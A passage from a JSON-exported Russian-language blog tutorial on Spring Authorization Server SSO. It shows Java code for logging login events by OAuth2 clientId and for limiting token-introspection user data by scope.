\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0437 requestCache, \u0430 \u043a\u043e\u0433\u0434\u0430             \/\/ \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443 SSO             if (targetUrl.startsWith(savedRequestUrlStartsWith)) {                 response.setHeader(headerName, targetUrl);             } else {                 response.setHeader(headerName, locationUrl);             }         }          String clientId = HandlerUtils.getClientId(savedRequest);         \/\/ \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0435         eventService.createEvent(UserEventType.USER_LOGIN, clientId, request);     } } <\/code><\/pre>\n<p>\u0412 \u0441\u0430\u043c\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043d\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u043e\u0433\u043e. \u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u043c\u043e\u0438\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0431\u044b\u043b\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u0438 \u0431\u044b\u043b\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0434\u043b\u044f \u043a\u0430\u043a\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e. \u041a\u0430\u043a \u0443\u0437\u043d\u0430\u0442\u044c \u044d\u0442\u043e? \u0412\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e. \u042d\u0442\u043e clientId (\u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u0430), \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 endpoint <code>\/oauth2\/authorize<\/code>. \u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u044d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442.\u0435. \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 <code>requestCache<\/code>. clientId \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u044d\u0442\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u044d\u0442\u043e \u043d\u0435 \u0431\u044b\u043b\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u043d\u0430 \u0444\u043e\u0440\u043c\u044b SSO.<\/p>\n<p><code><strong>HandlerUtils.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @UtilityClass public class HandlerUtils {      \/**      * \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 clientId \u0438\u0437 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430.      *\/     public String getClientId(SavedRequest savedRequest) {         if (savedRequest != null) {             if (savedRequest.getParameterMap().containsKey(\"client_id\")) {                 String[] clientIdValues = savedRequest.getParameterValues(\"client_id\");                 if (clientIdValues.length > 0) {                     return clientIdValues[0];                 }             }         }         return null;     } } <\/code><\/pre>\n<p>\u041c\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u043a\u043b\u0430\u0441\u0441 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.1\/j-sso\/src\/main\/java\/ru\/dlabs\/sas\/example\/jsso\/config\/security\/handler\/CustomOauthAuthenticationSuccessHandler.java\" rel=\"noopener noreferrer nofollow\"><code>CustomOauthAuthenticationSuccessHandler<\/code><\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u0440\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 (Yandex, Google, Github). \u0412 \u043d\u0451\u043c \u043c\u044b \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<h4>\u041d\u043e\u0432\u044b\u0435 scope \u0438 \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043d\u0430 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0435<\/h4>\n<p>\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445 \u043c\u044b \u043d\u0435 \u0441\u0438\u043b\u044c\u043d\u043e \u0443\u0434\u0435\u043b\u044f\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0443 scope. \u041c\u044b \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f (<code>read.scope<\/code>, <code>write.scope<\/code>) \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 \u0435\u0433\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0432\u043e\u043e\u0431\u0449\u0435 scope. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e <a href=\"https:\/\/oauth.net\/2\/scope\/\" rel=\"noopener noreferrer nofollow\">OAuth2<\/a> &#8212; \u044d\u0442\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435. \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c (\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c OAuth2) \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 scope, \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0437\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 (email, \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0443, \u0424\u0418\u041e \u0438 \u0442.\u0434.).<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c, \u0430 \u043a\u0430\u043a \u0443 \u043d\u0430\u0441 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c \u0441\u0442\u0430\u0442\u044c\u044f\u043c \u043c\u044b \u043e\u0442\u0434\u0430\u0451\u043c \u0435\u0451 \u043f\u0440\u0438 \u043e\u0442\u0432\u0435\u0442\u0435 \u0432 endpoint-\u0435 introspection (<code>\/oauth2\/token-info<\/code>). \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u043b\u0438 \u044d\u0442\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0438 \u043b\u044e\u0431\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c scope. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">Scope<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SSO.USER_IDENTIFICATION<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 (email, ID)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SSO.USER_PROFILE_INFO<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041e\u0431\u0449\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 (\u0424\u0418\u041e, \u0434\u0430\u0442\u0430 \u0440\u043e\u0436\u0434\u0435\u043d\u0438\u044f)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SSO.USER_AVATAR<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0410\u0432\u0430\u0442\u0430\u0440 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SSO.USER_AUTHORITIES<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u0443\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0435 introspection \u043e\u0442\u0432\u0435\u0442\u0430. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 <code>IntrospectionService<\/code> \u0438 \u0432 \u043d\u0451\u043c \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 scope \u0432 <code>OAuth2TokenIntrospection<\/code> \u0441\u0442\u0440\u043e\u0438\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435.<\/p>\n<details class=\"spoiler\">\n<summary>IntrospectionService.java<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"java\">public class IntrospectionService {      public final static String principalAttributeKey = \"java.security.Principal\";      private final OAuth2AuthorizationService oAuth2AuthorizationService;     private final MappingJackson2HttpMessageConverter mappingJackson2HttpMessageConverter;      public void introspectionResponse(             HttpServletRequest request,             HttpServletResponse response,             Authentication authentication     ) throws IOException {         var introspectionAuthenticationToken = (OAuth2TokenIntrospectionAuthenticationToken) authentication;         TokenInfoDto.TokenInfoDtoBuilder tokenInfoDtoBuilder = TokenInfoDto.builder().active(false);         if (introspectionAuthenticationToken.getTokenClaims().isActive()) {             OAuth2TokenIntrospection claims = introspectionAuthenticationToken.getTokenClaims();             tokenInfoDtoBuilder.active(true)                     .sub(claims.getSubject())                     .aud(claims.getAudience())                     .nbf(claims.getNotBefore())                     .scopes(claims.getScopes())                     .iss(claims.getIssuer())                     .exp(claims.getExpiresAt())                     .iat(claims.getIssuedAt())                     .jti(claims.getId())                     .clientId(claims.getClientId())                     .tokenType(claims.getTokenType());              \/\/ \u041e\u0431\u043e\u0433\u0430\u0449\u0430\u0435\u043c \u043e\u0442\u0432\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435.             \/\/ \u041f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 \u043c\u0435\u0442\u043e\u0434\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0442\u0430\u043a\u0436\u0435 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 scope             this.upgradeDtoByPrincipal(                     claims.getScopes(),                     introspectionAuthenticationToken.getToken(),                     tokenInfoDtoBuilder             );         }          \/\/ ......     }      private void upgradeDtoByPrincipal(             List&lt;String> clientScopes,             String accessTokenValue,             TokenInfoDto.TokenInfoDtoBuilder tokenInfoDtoBuilder     ) {          \/\/ \u0415\u0441\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a scope \u043f\u0443\u0441\u0442, \u0442\u043e \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u043c         if (clientScopes != null &amp;&amp; !clientScopes.isEmpty()) {             AuthorizedUser authorizedUser = this.extractAuthorizedUserByAccessToken(accessTokenValue);             IntrospectionPrincipal introspectionPrincipal = this.buildIntrospectionPrincipal(                     authorizedUser,                     clientScopes             );             tokenInfoDtoBuilder.principal(introspectionPrincipal);         }     }      \/\/ \u0412 \u044d\u0442\u043e\u043c \u043c\u0435\u0442\u043e\u0434\u0435 \u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u0441\u044f \u043c\u0430\u0433\u0438\u044f. \u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 scope \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u043c IntrospectionPrincipal.     private IntrospectionPrincipal buildIntrospectionPrincipal(             AuthorizedUser authorizedUser,             List&lt;String> clientScopes     ) {         if (authorizedUser == null) {             return null;         }          var builder = IntrospectionPrincipal.builder();         if (clientScopes.contains(SSOScope.USER_AUTHORITIES.getDatabaseCode())) {             List&lt;String> authorities = Collections.emptyList();             if (authorizedUser.getAuthorities() != null) {                 authorities = authorizedUser.getAuthorities()                         .stream()<\/code><\/pre>\n<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-379466","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/379466","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=379466"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/379466\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=379466"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=379466"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=379466"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}